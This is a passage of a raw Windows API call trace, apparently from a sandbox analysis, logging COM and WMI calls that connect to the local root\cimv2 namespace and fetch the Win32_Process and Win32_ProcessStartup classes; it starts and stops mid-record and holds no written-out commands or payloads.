pAptType=0x1b2fd908*=1) returned 0x0 [0070.586] IUnknown:QueryInterface (in: This=0x111f638, riid=0x28f4778*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fd910 | out: ppvObject=0x1b2fd910*=0x0) returned 0x80004002 [0070.586] IUnknown:Release (This=0x111f638) returned 0x1 [0070.589] CoGetClassObject (in: rclsid=0x1185388*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fcd30 | out: ppv=0x1b2fcd30*=0x11f14c0) returned 0x0 [0070.589] WbemDefPath:IUnknown:QueryInterface (in: This=0x11f14c0, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcd78 | out: ppvObject=0x1b2fcd78*=0x0) returned 0x80004002 [0070.589] WbemDefPath:IClassFactory:CreateInstance (in: This=0x11f14c0, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcd28 | out: ppvObject=0x1b2fcd28*=0x1bea17f0) returned 0x0 [0070.589] WbemDefPath:IUnknown:Release (This=0x11f14c0) returned 0x0 [0070.589] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea17f0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcb38 | out: ppvObject=0x1b2fcb38*=0x1bea17f0) returned 0x0 [0070.590] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea17f0, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcbe0 | out: ppvObject=0x1b2fcbe0*=0x0) returned 0x80004002 [0070.590] WbemDefPath:IUnknown:AddRef (This=0x1bea17f0) returned 0x3 [0070.590] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea17f0, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc288 | out: ppvObject=0x1b2fc288*=0x0) returned 0x80004002 [0070.590] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea17f0, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc210 | out: ppvObject=0x1b2fc210*=0x0) returned 0x80004002 [0070.590] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea17f0, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc200 | out: ppvObject=0x1b2fc200*=0x11f1620) returned 0x0 [0070.590] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x11f1620, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc228 | out: pCid=0x1b2fc228*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0070.590] WbemDefPath:IUnknown:Release (This=0x11f1620) returned 0x3 [0070.590] CoGetContextToken (in: pToken=0x1b2fc2b0 | out: pToken=0x1b2fc2b0) returned 0x0 [0070.590] CoGetContextToken (in: pToken=0x1b2fc730 | out: pToken=0x1b2fc730) returned 0x0 [0070.590] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea17f0, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc7f0 | out: ppvObject=0x1b2fc7f0*=0x0) returned 0x80004002 [0070.590] WbemDefPath:IUnknown:Release (This=0x1bea17f0) returned 0x2 [0070.590] WbemDefPath:IUnknown:Release (This=0x1bea17f0) returned 0x1 [0070.591] CoGetContextToken (in: pToken=0x1b2fd550 | out: pToken=0x1b2fd550) returned 0x0 [0070.591] CoGetContextToken (in: pToken=0x1b2fd450 | out: pToken=0x1b2fd450) returned 0x0 [0070.591] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea17f0, riid=0x1b2fd5b0*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b2fd580 | out: ppvObject=0x1b2fd580*=0x1bea17f0) returned 0x0 [0070.591] WbemDefPath:IUnknown:AddRef (This=0x1bea17f0) returned 0x3 [0070.591] WbemDefPath:IUnknown:Release (This=0x1bea17f0) returned 0x2 [0070.591] WbemDefPath:IWbemPath:SetText (This=0x1bea17f0, uMode=0x4, pszPath="\\\\Q9IATRKPRH\\ROOT\\cimv2:Win32_ProcessStartup") returned 0x0 [0070.591] IWbemClassObject:Get (in: This=0x1bef6d00, wszName="CreateFlags", lFlags=0, pVal=0x1b2fd978*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2989b10*=0, plFlavor=0x2989b14*=0 | out: pVal=0x1b2fd978*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2989b10*=19, plFlavor=0x2989b14*=0) returned 0x0 [0070.591] IWbemClassObject:Get (in: This=0x1bef6d00, wszName="CreateFlags", lFlags=0, pVal=0x1b2fd968*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2989b10*=19, plFlavor=0x2989b14*=0 | out: pVal=0x1b2fd968*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2989b10*=19, plFlavor=0x2989b14*=0) returned 0x0 [0070.592] IWbemClassObject:Put (This=0x1bef6d00, wszName="CreateFlags", lFlags=0, pVal=0x1b2fd9c0*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x8, varVal2=0x0), Type=0) returned 0x0 [0070.592] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bea1a30, puCount=0x1b2fd930 | out: puCount=0x1b2fd930*=0x0) returned 0x0 [0070.592] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1169200, puCount=0x1b2fd8f0 | out: puCount=0x1b2fd8f0*=0x2) returned 0x0 [0070.592] WbemDefPath:IWbemPath:GetText (in: This=0x1169200, lFlags=4, puBuffLength=0x1b2fd8e8*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd8e8*=0xf, pszText=0x0) returned 0x0 [0070.592] WbemDefPath:IWbemPath:GetText (in: This=0x1169200, lFlags=4, puBuffLength=0x1b2fd8e8*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b2fd8e8*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0070.592] CoGetObjectContext (in: riid=0x28f4798*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fd848 | out: ppv=0x1b2fd848*=0x111f638) returned 0x0 [0070.592] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fd838 | out: pAptType=0x1b2fd838*=1) returned 0x0 [0070.592] IUnknown:QueryInterface (in: This=0x111f638, riid=0x28f4778*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fd840 | out: ppvObject=0x1b2fd840*=0x0) returned 0x80004002 [0070.592] IUnknown:Release (This=0x111f638) returned 0x1 [0070.594] CoGetClassObject (in: rclsid=0x1185388*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fcc60 | out: ppv=0x1b2fcc60*=0x1bed0050) returned 0x0 [0070.595] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bed0050, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcca8 | out: ppvObject=0x1b2fcca8*=0x0) returned 0x80004002 [0070.595] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bed0050, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcc58 | out: ppvObject=0x1b2fcc58*=0x1bea1670) returned 0x0 [0070.595] WbemDefPath:IUnknown:Release (This=0x1bed0050) returned 0x0 [0070.595] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea1670, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fca68 | out: ppvObject=0x1b2fca68*=0x1bea1670) returned 0x0 [0070.595] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea1670, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcb10 | out: ppvObject=0x1b2fcb10*=0x0) returned 0x80004002 [0070.595] WbemDefPath:IUnknown:AddRef (This=0x1bea1670) returned 0x3 [0070.595] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea1670, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc1b8 | out: ppvObject=0x1b2fc1b8*=0x0) returned 0x80004002 [0070.595] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea1670, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc140 | out: ppvObject=0x1b2fc140*=0x0) returned 0x80004002 [0070.595] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea1670, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc130 | out: ppvObject=0x1b2fc130*=0x1bed0110) returned 0x0 [0070.595] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bed0110, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc158 | out: pCid=0x1b2fc158*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0070.596] WbemDefPath:IUnknown:Release (This=0x1bed0110) returned 0x3 [0070.596] CoGetContextToken (in: pToken=0x1b2fc1e0 | out: pToken=0x1b2fc1e0) returned 0x0 [0070.596] CoGetContextToken (in: pToken=0x1b2fc660 | out: pToken=0x1b2fc660) returned 0x0 [0070.596] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea1670, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc720 | out: ppvObject=0x1b2fc720*=0x0) returned 0x80004002 [0070.596] WbemDefPath:IUnknown:Release (This=0x1bea1670) returned 0x2 [0070.596] WbemDefPath:IUnknown:Release (This=0x1bea1670) returned 0x1 [0070.596] CoGetContextToken (in: pToken=0x1b2fd480 | out: pToken=0x1b2fd480) returned 0x0 [0070.596] CoGetContextToken (in: pToken=0x1b2fd380 | out: pToken=0x1b2fd380) returned 0x0 [0070.596] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea1670, riid=0x1b2fd4e0*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b2fd4b0 | out: ppvObject=0x1b2fd4b0*=0x1bea1670) returned 0x0 [0070.596] WbemDefPath:IUnknown:AddRef (This=0x1bea1670) returned 0x3 [0070.596] WbemDefPath:IUnknown:Release (This=0x1bea1670) returned 0x2 [0070.596] WbemDefPath:IWbemPath:SetText (This=0x1bea1670, uMode=0x4, pszPath="\\\\.\\root\\cimv2") returned 0x0 [0070.596] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bea1670, puCount=0x1b2fd860 | out: puCount=0x1b2fd860*=0x2) returned 0x0 [0070.596] WbemDefPath:IWbemPath:GetText (in: This=0x1bea1670, lFlags=4, puBuffLength=0x1b2fd858*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd858*=0xf, pszText=0x0) returned 0x0 [0070.596] WbemDefPath:IWbemPath:GetText (in: This=0x1bea1670, lFlags=4, puBuffLength=0x1b2fd858*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b2fd858*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0070.596] CoGetObjectContext (in: riid=0x28f4798*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fd8d8 | out: ppv=0x1b2fd8d8*=0x111f638) returned 0x0 [0070.596] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fd8c8 | out: pAptType=0x1b2fd8c8*=1) returned 0x0 [0070.597] IUnknown:QueryInterface (in: This=0x111f638, riid=0x28f4778*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fd8d0 | out: ppvObject=0x1b2fd8d0*=0x0) returned 0x80004002 [0070.597] IUnknown:Release (This=0x111f638) returned 0x1 [0070.598] CoGetClassObject (in: rclsid=0x11a5298*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fce80 | out: ppv=0x1b2fce80*=0x1becff70) returned 0x0 [0070.598] WbemLocator:IUnknown:QueryInterface (in: This=0x1becff70, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcec8 | out: ppvObject=0x1b2fcec8*=0x0) returned 0x80004002 [0070.598] WbemLocator:IClassFactory:CreateInstance (in: This=0x1becff70, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fce78 | out: ppvObject=0x1b2fce78*=0x1becff90) returned 0x0 [0070.598] WbemLocator:IUnknown:Release (This=0x1becff70) returned 0x0 [0070.598] WbemLocator:IUnknown:QueryInterface (in: This=0x1becff90, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcc88 | out: ppvObject=0x1b2fcc88*=0x1becff90) returned 0x0 [0070.598] WbemLocator:IUnknown:QueryInterface (in: This=0x1becff90, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcd30 | out: ppvObject=0x1b2fcd30*=0x0) returned 0x80004002 [0070.598] WbemLocator:IUnknown:AddRef (This=0x1becff90) returned 0x3 [0070.598] WbemLocator:IUnknown:QueryInterface (in: This=0x1becff90, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc3d8 | out: ppvObject=0x1b2fc3d8*=0x0) returned 0x80004002 [0070.599] WbemLocator:IUnknown:QueryInterface (in: This=0x1becff90, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc360 | out: ppvObject=0x1b2fc360*=0x0) returned 0x80004002 [0070.599] WbemLocator:IUnknown:QueryInterface (in: This=0x1becff90, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc350 | out: ppvObject=0x1b2fc350*=0x0) returned 0x80004002 [0070.599] CoGetContextToken (in: pToken=0x1b2fc400 | out: pToken=0x1b2fc400) returned 0x0 [0070.599] CoGetContextToken (in: pToken=0x1b2fc880 | out: pToken=0x1b2fc880) returned 0x0 [0070.599] WbemLocator:IUnknown:QueryInterface (in: This=0x1becff90, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc940 | out: ppvObject=0x1b2fc940*=0x0) returned 0x80004002 [0070.599] WbemLocator:IUnknown:Release (This=0x1becff90) returned 0x2 [0070.599] WbemLocator:IUnknown:Release (This=0x1becff90) returned 0x1 [0070.599] CoGetContextToken (in: pToken=0x1b2fd430 | out: pToken=0x1b2fd430) returned 0x0 [0070.599] CoGetContextToken (in: pToken=0x1b2fd330 | out: pToken=0x1b2fd330) returned 0x0 [0070.599] WbemLocator:IUnknown:QueryInterface (in: This=0x1becff90, riid=0x1b2fd490*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppvObject=0x1b2fd460 | out: ppvObject=0x1b2fd460*=0x1becff90) returned 0x0 [0070.599] WbemLocator:IUnknown:AddRef (This=0x1becff90) returned 0x3 [0070.599] WbemLocator:IUnknown:Release (This=0x1becff90) returned 0x2 [0070.599] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bea1670, puCount=0x1b2fd860 | out: puCount=0x1b2fd860*=0x2) returned 0x0 [0070.599] WbemDefPath:IWbemPath:GetText (in: This=0x1bea1670, lFlags=8, puBuffLength=0x1b2fd858*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd858*=0xf, pszText=0x0) returned 0x0 [0070.600] WbemDefPath:IWbemPath:GetText (in: This=0x1bea1670, lFlags=8, puBuffLength=0x1b2fd858*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b2fd858*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0070.600] CoCreateInstance (in: rclsid=0x7fef726b060*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x7fef726b0c0*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppv=0x1b2fd5a0 | out: ppv=0x1b2fd5a0*=0x1becffb0) returned 0x0 [0070.600] WbemLocator:IWbemLocator:ConnectServer (in: This=0x1becffb0, strNetworkResource="\\\\.\\root\\cimv2", strUser=0x0, strPassword=0x0, strLocale="", lSecurityFlags=128, strAuthority="", pCtx=0x0, ppNamespace=0x1b2fd708 | out: ppNamespace=0x1b2fd708*=0x1bf29760) returned 0x0 [0070.695] WbemLocator:IUnknown:QueryInterface (in: This=0x1bf29760, riid=0x7fef726aee0*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fd418 | out: ppvObject=0x1b2fd418*=0x1bef23b0) returned 0x0 [0070.695] WbemLocator:IClientSecurity:QueryBlanket (in: This=0x1bef23b0, pProxy=0x1bf29760, pAuthnSvc=0x1b2fd4e0, pAuthzSvc=0x1b2fd460, pServerPrincName=0x1b2fd490, pAuthnLevel=0x1b2fd464, pImpLevel=0x1b2fd46c, pAuthInfo=0x1b2fd498, pCapabilites=0x1b2fd468 | out: pAuthnSvc=0x1b2fd4e0*=0xa, pAuthzSvc=0x1b2fd460*=0x0, pServerPrincName=0x1b2fd490, pAuthnLevel=0x1b2fd464*=0x6, pImpLevel=0x1b2fd46c*=0x2, pAuthInfo=0x1b2fd498, pCapabilites=0x1b2fd468*=0x1) returned 0x0 [0070.695] WbemLocator:IUnknown:Release (This=0x1bef23b0) returned 0x1 [0070.695] WbemLocator:IUnknown:QueryInterface (in: This=0x1bf29760, riid=0x7fef726aed0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fd3b0 | out: ppvObject=0x1b2fd3b0*=0x1bef23f0) returned 0x0 [0070.695] WbemLocator:IUnknown:QueryInterface (in: This=0x1bf29760, riid=0x7fef726aee0*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fd3c0 | out: ppvObject=0x1b2fd3c0*=0x1bef23b0) returned 0x0 [0070.695] WbemLocator:IClientSecurity:SetBlanket (This=0x1bef23b0, pProxy=0x1bf29760, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0070.696] WbemLocator:IUnknown:Release (This=0x1bef23b0) returned 0x2 [0070.696] WbemLocator:IUnknown:Release (This=0x1bef23f0) returned 0x1 [0070.696] CoTaskMemFree (pv=0x11ccf20) [0070.696] WbemLocator:IUnknown:AddRef (This=0x1bf29760) returned 0x2 [0070.696] WbemLocator:IUnknown:Release (This=0x1becffb0) returned 0x0 [0070.696] CoGetContextToken (in: pToken=0x1b2fc620 | out: pToken=0x1b2fc620) returned 0x0 [0070.697] CoGetContextToken (in: pToken=0x1b2fcaa0 | out: pToken=0x1b2fcaa0) returned 0x0 [0070.697] WbemLocator:IUnknown:QueryInterface (in: This=0x1bf29760, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fca20 | out: ppvObject=0x1b2fca20*=0x1bef23c0) returned 0x0 [0070.697] WbemLocator:IRpcOptions:Query (in: This=0x1bef23c0, pPrx=0x1becff30, dwProperty=2, pdwValue=0x1b2fcb50 | out: pdwValue=0x1b2fcb50) returned 0x80004002 [0070.697] WbemLocator:IUnknown:Release (This=0x1bef23c0) returned 0x2 [0070.697] CoGetContextToken (in: pToken=0x1b2fd170 | out: pToken=0x1b2fd170) returned 0x0 [0070.697] CoGetContextToken (in: pToken=0x1b2fd070 | out: pToken=0x1b2fd070) returned 0x0 [0070.697] WbemLocator:IUnknown:QueryInterface (in: This=0x1bf29760, riid=0x1b2fd1d0*(Data1=0x9556dc99, Data2=0x828c, Data3=0x11cf, Data4=([0]=0xa3, [1]=0x7e, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x32, [6]=0x40, [7]=0xc7)), ppvObject=0x1b2fcff0 | out: ppvObject=0x1b2fcff0*=0x1bf29760) returned 0x0 [0070.697] WbemLocator:IUnknown:Release (This=0x1bf29760) returned 0x2 [0070.697] SysStringLen (param_1=0x0) returned 0x0 [0070.697] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bea1670, puCount=0x1b2fd8a0 | out: puCount=0x1b2fd8a0*=0x2) returned 0x0 [0070.697] WbemDefPath:IWbemPath:GetText (in: This=0x1bea1670, lFlags=4, puBuffLength=0x1b2fd898*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd898*=0xf, pszText=0x0) returned 0x0 [0070.697] WbemDefPath:IWbemPath:GetText (in: This=0x1bea1670, lFlags=4, puBuffLength=0x1b2fd898*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b2fd898*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0070.697] WbemDefPath:IWbemPath:GetText (in: This=0x1bea1a30, lFlags=2, puBuffLength=0x1b2fd8a8*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd8a8*=0xe, pszText=0x0) returned 0x0 [0070.697] WbemDefPath:IWbemPath:GetText (in: This=0x1bea1a30, lFlags=2, puBuffLength=0x1b2fd8a8*=0xe, pszText="0000000000000" | out: puBuffLength=0x1b2fd8a8*=0xe, pszText="Win32_Process") returned 0x0 [0070.698] IWbemServices:GetObject (in: This=0x1bf29760, strObjectPath="Win32_Process", lFlags=0, pCtx=0x0, ppObject=0x1b2fd6f0*=0x0, ppCallResult=0x0 | out: ppObject=0x1b2fd6f0*=0x11e8410, ppCallResult=0x0) returned 0x0 [0070.721] IWbemClassObject:Get (in: This=0x11e8410, wszName="__PATH", lFlags=0, pVal=0x1b2fd7d8*(varType=0x0, 